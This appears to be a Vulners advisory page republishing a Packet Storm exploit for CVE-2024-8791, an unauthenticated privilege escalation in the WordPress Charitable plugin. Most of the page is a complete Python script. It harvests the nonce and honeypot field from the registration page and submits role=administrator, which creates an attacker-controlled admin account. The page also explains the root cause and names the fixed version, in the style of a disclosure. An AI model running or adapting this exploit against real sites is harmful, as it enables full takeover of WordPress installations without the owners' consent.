Lucene search
+L

📄 WordPress Charitable 1.7.0.12 Unauthenticated Privilege Escalation

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 6 Views

Unauthenticated admin escalation in Charitable plugin version 1.7.0.12 via registration form.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Charitable <= 1.7.0.12 - Unauthenticated Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/charitable/
    # Software Link: https://downloads.wordpress.org/plugin/charitable.1.7.0.12.zip
    # Version: 1.7.0.12 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-8791
    """CVE-2024-8791 — Charitable <= 1.7.0.12 — Unauthenticated Privilege Escalation to Administrator
    
    Blackbox HTTP exploit against a real WordPress + Charitable install with a page containing the
    [charitable_registration] shortcode (the documented way to expose front-end registration).
    
    Root cause: the registration handler `Charitable_Registration_Form::save_registration()` builds
    its data via `get_submitted_values()`, which starts from the RAW `$_POST`
    (abstract-class-charitable-form.php:409 `$submitted = $_POST;`). That array flows into
    `Charitable_User::update_core_user()`, which keeps every key that is in `get_core_keys()`
    (charitable-user-functions.php includes 'role') and passes it to `wp_insert_user()`:
    
        $core_fields = array_intersect( array_keys($submitted), $this->get_core_keys() );  // 'role' kept
        foreach ($core_fields as $field) $values[$field] = $submitted[$field];
        $user_id = wp_insert_user($values);   // role=administrator honored
    
    So POSTing `role=administrator` to the registration form creates an administrator account.
    Gate: a nonce + honeypot, both harvested from the public registration page (so unauth in practice).
    (Fixed in 1.7.0.13, which strips the 'role' field before wp_insert_user.)
    
    Usage:
      python3 CVE-2024-8791_charitable.py --target http://localhost:8090 --reg-path /register/ \
          --user pwnadmin --pass 'Passw0rd!123' --email [email protected]
    """
    import argparse, re, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def field(html, name):
        m = re.search(r'name="' + re.escape(name) + r'"\s+value="([^"]*)"', html)
        return m.group(1) if m else ""
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--reg-path", default="/register/", help="path of the page with [charitable_registration]")
        ap.add_argument("--user", default="pwnadmin")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--email", default="[email protected]")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        url = base + args.reg_path
        print(f"[*] Target: {url}")
        html = s.get(url, timeout=20).text
        nonce   = field(html, "_charitable_user_registration_nonce")
        action  = field(html, "charitable_action") or "save_registration"
        form_id = field(html, "charitable_form_id")
        referer = field(html, "_wp_http_referer") or args.reg_path
        if not nonce:
            print("[-] Could not harvest the registration nonce — is [charitable_registration] on this page?")
            return 1
        # honeypot: the charitable form renders a text input with a random hex NAME (hidden via CSS),
        # which bots fill and must be left EMPTY. Its name != the known field names.
        known = {"charitable_form_id", "_charitable_user_registration_nonce", "_wp_http_referer",
                 "charitable_action", "user_email", "user_login", "user_pass", "register"}
        honeys = [n for n in re.findall(r'name="([0-9a-f]{8,})"', html) if n not in known]
        print(f"[*] Harvested nonce={nonce} action={action} form_id={form_id} honeypot={honeys[:1]}")
    
        data = {
            "_charitable_user_registration_nonce": nonce,
            "_wp_http_referer": referer,
            "charitable_action": action,
            "charitable_form_id": form_id,
            "user_email": args.email,
            "user_login": args.user,
            "user_pass": args.pw,
            "role": "administrator",          # <-- privilege-escalation injection
            "register": "Register",
        }
        for h in honeys[:1]:
            data[h] = ""                      # honeypot must be empty
        print(f"[*] Submitting registration with role=administrator (user={args.user})")
        r = s.post(url, data=data, timeout=20, allow_redirects=False)
        print(f"[*] Response: HTTP {r.status_code}")
        print(f"\n[+] Registration submitted. Verify with:")
        print(f"    wp user get {args.user} --field=roles   # expect: administrator")
        print(f"[+] Then log in at {base}/wp-login.php as {args.user} / {args.pw}")
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.00733
SSVC
6